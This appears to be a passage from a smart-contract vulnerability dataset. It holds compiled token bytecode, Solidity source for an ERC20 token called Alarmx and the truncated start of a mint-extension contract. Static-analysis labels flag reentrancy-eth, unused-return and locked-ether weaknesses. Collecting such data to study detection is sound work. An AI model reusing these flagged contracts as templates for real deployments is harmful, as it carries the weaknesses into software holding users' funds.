8152602001610175565b34801561025d57600080fd5b506101f361026c3660046118c8565b61052c565b34801561027d57600080fd5b506101f3610574565b34801561029257600080fd5b506101c56102a136600461171c565b6105a8565b3480156102b257600080fd5b506101f36105ca565b3480156102c757600080fd5b506000546040516001600160a01b039091168152602001610175565b3480156102ef57600080fd5b506040805180820190915260048152635341504560e01b6020820152610168565b34801561031c57600080fd5b506101f361063e565b34801561033157600080fd5b5061019e6103403660046117d0565b61087d565b34801561035157600080fd5b506101f36103603660046117fc565b61088a565b34801561037157600080fd5b506101f3610920565b34801561038657600080fd5b506101f3610960565b34801561039b57600080fd5b506101f36103aa366004611902565b610b27565b3480156103bb57600080fd5b506101f36103ca366004611902565b610b5f565b3480156103db57600080fd5b506101c56103ea366004611756565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000610422338484610b97565b5060015b92915050565b6000546001600160a01b0316331461045f5760405162461bcd60e51b81526004016104569061199e565b60405180910390fd5b6702c68af0bb1400008111156104755760108190555b50565b6000610485848484610cbb565b6104d784336104d285604051806060016040528060288152602001611b35602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ff0565b610b97565b5060019392505050565b6000546001600160a01b0316331461050b5760405162461bcd60e51b81526004016104569061199e565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105565760405162461bcd60e51b81526004016104569061199e565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059e5760405162461bcd60e51b81526004016104569061199e565b476104758161102a565b6001600160a01b03811660009081526002602052604081205461042690611064565b6000546001600160a01b031633146105f45760405162461bcd60e51b81526004016104569061199e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106685760405162461bcd60e51b81526004016104569061199e565b600f54600160a01b900460ff16156106c25760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610456565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561072257600080fd5b505afa158015610736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075a9190611739565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a257600080fd5b505afa1580156107b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107da9190611739565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082257600080fd5b505af1158015610836573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085a9190611739565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610422338484610cbb565b6000546001600160a01b031633146108b45760405162461bcd60e51b81526004016104569061199e565b60005b815181101561091c576001600660008484815181106108d8576108d8611ae5565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061091481611ab4565b9150506108b7565b5050565b6000546001600160a01b0316331461094a5760405162461bcd60e51b81526004016104569061199e565b6000610955306105a8565b9050610475816110e8565b6000546001600160a01b0316331461098a5760405162461bcd60e51b81526004016104569061199e565b600e546109aa9030906001600160a01b0316678ac7230489e80000610b97565b600e546001600160a01b031663f305d71947306109c6816105a8565b6000806109db6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a3e57600080fd5b505af1158015610a52573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a77919061191b565b5050600f80546702c68af0bb14000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aef57600080fd5b505af1158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047591906118e5565b6000546001600160a01b03163314610b515760405162461bcd60e51b81526004016104569061199e565b600d81101561047557600b55565b6000546001600160a01b03163314610b895760405162461bcd60e51b81526004016104569061199e565b600d81101561047557600c55565b6001600160a01b038316610bf95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610456565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610456565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610456565b6001600160a01b038216610d815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610456565b60008111610de35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610456565b6001600160a01b03831660009081526006602052604090205460ff1615610e0957600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e4b57506001600160a01b03821660009081526005602052604090205460ff16155b15610fe0576000600955600c54600a55600f546001600160a01b038481169116148015610e865750600e546001600160a01b03838116911614155b8015610eab57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ec05750600f54600160b81b900460ff165b15610eed576000610ed0836105a8565b601054909150610ee08383611271565b1115610eeb57600080fd5b505b600f546001600160a01b038381169116148015610f185750600e546001600160a01b03848116911614155b8015610f3d57506001600160a01b03831660009081526005602052604090205460ff16155b15610f4e576000600955600b54600a555b6000610f59306105a8565b600f54909150600160a81b900460ff16158015610f845750600f546001600160a01b03858116911614155b8015610f995750600f54600160b01b900460ff165b15610fde576000610fab600283611a5c565b9050610fb78183611a9d565b9150610fc2816112d0565b610fcb826110e8565b478015610fdb57610fdb4761102a565b50505b505b610feb838383611306565b505050565b600081848411156110145760405162461bcd60e51b81526004016104569190611949565b5060006110218486611a9d565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561091c573d6000803e3d6000fd5b60006007548211156110cb5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610456565b60006110d5611311565b90506110e18382611334565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061113057611130611ae5565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561118457600080fd5b505afa158015611198573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111bc9190611739565b816001815181106111cf576111cf611ae5565b6001600160a01b039283166020918202929092010152600e546111f59130911684610b97565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061122e9085906000908690309042906004016119d3565b600060405180830381600087803b15801561124857600080fd5b505af115801561125c573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061127e8385611a44565b9050838110156110e15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610456565b600f805460ff60a81b1916600160a81b17905580156112f6576112f63061dead83610cbb565b50600f805460ff60a81b19169055565b610feb838383611376565b600080600061131e61146d565b909250905061132d8282611334565b9250505090565b60006110e183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ad565b600080600080600080611388876114db565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113ba9087611538565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113e99086611271565b6001600160a01b03891660009081526002602052604090205561140b8161157a565b61141584836115c4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161145a91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e800006114888282611334565b8210156114a457505060075492678ac7230489e8000092509050565b90939092509050565b600081836114ce5760405162461bcd60e51b81526004016104569190611949565b5060006110218486611a5c565b60008060008060008060008060006114f88a600954600a546115e8565b9250925092506000611508611311565b9050600080600061151b8e87878761163d565b919e509c509a509598509396509194505050505091939550919395565b60006110e183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ff0565b6000611584611311565b90506000611592838361168d565b306000908152600260205260409020549091506115af9082611271565b30600090815260026020526040902055505050565b6007546115d19083611538565b6007556008546115e19082611271565b6008555050565b600080808061160260646115fc898961168d565b90611334565b9050600061161560646115fc8a8961168d565b9050600061162d826116278b86611538565b90611538565b9992985090965090945050505050565b600080808061164c888661168d565b9050600061165a888761168d565b90506000611668888861168d565b9050600061167a826116278686611538565b939b939a50919850919650505050505050565b60008261169c57506000610426565b60006116a88385611a7e565b9050826116b58583611a5c565b146110e15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610456565b803561171781611b11565b919050565b60006020828403121561172e57600080fd5b81356110e181611b11565b60006020828403121561174b57600080fd5b81516110e181611b11565b6000806040838503121561176957600080fd5b823561177481611b11565b9150602083013561178481611b11565b809150509250929050565b6000806000606084860312156117a457600080fd5b83356117af81611b11565b925060208401356117bf81611b11565b929592945050506040919091013590565b600080604083850312156117e357600080fd5b82356117ee81611b11565b946020939093013593505050565b6000602080838503121561180f57600080fd5b823567ffffffffffffffff8082111561182757600080fd5b818501915085601f83011261183b57600080fd5b81358181111561184d5761184d611afb565b8060051b604051601f19603f8301168101818110858211171561187257611872611afb565b604052828152858101935084860182860187018a101561189157600080fd5b600095505b838610156118bb576118a78161170c565b855260019590950194938601938601611896565b5098975050505050505050565b6000602082840312156118da57600080fd5b81356110e181611b26565b6000602082840312156118f757600080fd5b81516110e181611b26565b60006020828403121561191457600080fd5b5035919050565b60008060006060848603121561193057600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156119765785810183015185820160400152820161195a565b81811115611988576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a235784516001600160a01b0316835293830193918301916001016119fe565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a5757611a57611acf565b500190565b600082611a7957634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a9857611a98611acf565b500290565b600082821015611aaf57611aaf611acf565b500390565b6000600019821415611ac857611ac8611acf565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047557600080fd5b801515811461047557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f9339b9c6ab26405f3e53b54f56fab0289fc07c4e96c48d9454626b33234bd6d64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 4,433 |
0x622180782dad51214fc94fa57bc4ae3e7fc6c4af
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic, Ownable {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Function to revert eth transfers to this contract
*/
function() public payable {
revert();
}
/**
* @dev Owner can transfer out any accidentally sent ERC20 tokens
*/
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return BasicToken(tokenAddress).transfer(owner, tokens);
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _toAddresses Receiver addresses.
* @param _amounts Amounts of tokens that will be transferred.
*/
function multiSend(address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transfer(_toAddresses[i], _amounts[i]);
}
}
/**
* @dev Transfer the specified amounts of tokens to the specified addresses from authorized balance of sender.
* @dev Be aware that there is no check for duplicate recipients.
*
* @param _from The address of the sender
* @param _toAddresses The addresses of the recipients (MAX 255)
* @param _amounts The amounts of tokens to be transferred
*/
function multiSendFrom(address _from, address[] _toAddresses, uint256[] _amounts) public {
/* Ensures _toAddresses array is less than or equal to 255 */
require(_toAddresses.length <= 255);
/* Ensures _toAddress and _amounts have the same number of entries. */
require(_toAddresses.length == _amounts.length);
for (uint8 i = 0; i < _toAddresses.length; i++) {
transferFrom(_from, _toAddresses[i], _amounts[i]);
}
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
contract AlarmxToken is StandardToken, BurnableToken {
string public constant name = "Alarmx Token";
string public constant symbol = "ALRMX";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
function AlarmxToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e57806342966c68146102cd57806370a08231146102f05780638da5cb5b1461033d57806395d89b4114610392578063a7ff237314610420578063a9059cbb146104d9578063bb4c9f0b14610533578063dc39d06d146105cd578063dd62ed3e14610627578063f2fde38b14610693575b600080fd5b34156100f657600080fd5b6100fe6106cc565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610705565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e66107f7565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610801565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610bc0565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610bd1565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610bd6565b005b34156102fb57600080fd5b610327600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610dec565b6040518082815260200191505060405180910390f35b341561034857600080fd5b610350610e35565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561039d57600080fd5b6103a5610e5a565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103e55780820151818401526020810190506103ca565b50505050905090810190601f1680156104125780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561042b57600080fd5b6104d7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610e93565b005b34156104e457600080fd5b610519600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610f1a565b604051808215151515815260200191505060405180910390f35b341561053e57600080fd5b6105cb6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061113e565b005b34156105d857600080fd5b61060d600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111c3565b604051808215151515815260200191505060405180910390f35b341561063257600080fd5b61067d600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061130f565b6040518082815260200191505060405180910390f35b341561069e57600080fd5b6106ca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611396565b005b6040805190810160405280600c81526020017f416c61726d7820546f6b656e000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561083e57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561088c57600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561091757600080fd5b61096982600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114eb90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fe82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad082600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114eb90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a633b9aca000281565b601281565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c3357600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c8157600080fd5b339050610cd682600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114eb90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d2e826002546114eb90919063ffffffff16565b6002819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f414c524d5800000000000000000000000000000000000000000000000000000081525081565b600060ff835111151515610ea657600080fd5b81518351141515610eb657600080fd5b600090505b82518160ff161015610f1457610f0684848360ff16815181101515610edc57fe5b90602001906020020151848460ff16815181101515610ef757fe5b90602001906020020151610801565b508080600101915050610ebb565b50505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f5757600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fa557600080fd5b610ff782600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114eb90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061108c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461150490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600060ff83511115151561115157600080fd5b8151835114151561116157600080fd5b600090505b82518160ff1610156111be576111b0838260ff1681518110151561118657fe5b90602001906020020151838360ff168151811015156111a157fe5b90602001906020020151610f1a565b508080600101915050611166565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561122057600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156112ec57600080fd5b6102c65a03f115156112fd57600080fd5b50505060405180519050905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113f157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561142d57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114f957fe5b818303905092915050565b600080828401905083811015151561151857fe5b80915050929150505600a165627a7a72305820c0af43486b9cd00a6215d790fcb32890d7696fcf94f2fadae85370f72bd7158b0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 4,434 |
0x9982a8bf88527756efbe89a76acfbfa089f54b88
|
// SPDX-License-Identifier: MIT
// Developed by Orcania (https://orcania.io/)
// For TRAF Ep3 mint (https://theredapefamily.com/mint)
pragma solidity =0.7.6;
interface ITRAF {
function adminMint(address to, uint256 amount) external;
function balanceOf(address _owner) external view returns (uint256);
function totalSupply() external view returns(uint256);
function ownerOf(uint256 tokenId) external view returns (address);
}
abstract contract OMS { //Orcania Management Standard
address private _owner;
mapping(address => bool) private _manager;
event OwnershipTransfer(address indexed newOwner);
event SetManager(address indexed manager, bool state);
receive() external payable {}
constructor() {
_owner = msg.sender;
_manager[msg.sender] = true;
emit SetManager(msg.sender, true);
}
//Modifiers ==========================================================================================================================================
modifier Owner() {
require(msg.sender == _owner, "OMS: NOT_OWNER");
_;
}
modifier Manager() {
require(_manager[msg.sender], "OMS: MOT_MANAGER");
_;
}
//Read functions =====================================================================================================================================
function owner() public view returns (address) {
return _owner;
}
function manager(address user) external view returns(bool) {
return _manager[user];
}
//Write functions ====================================================================================================================================
function setNewOwner(address user) external Owner {
_owner = user;
emit OwnershipTransfer(user);
}
function setManager(address user, bool state) external Owner {
_manager[user] = state;
emit SetManager(user, state);
}
//===============
function withdraw(address payable to, uint256 value) external Manager {
require(to.send(value), "OMS: ISSUE_SENDING_FUNDS");
}
}
contract TRAF_Mint_Extension is OMS {
ITRAF TRAF;
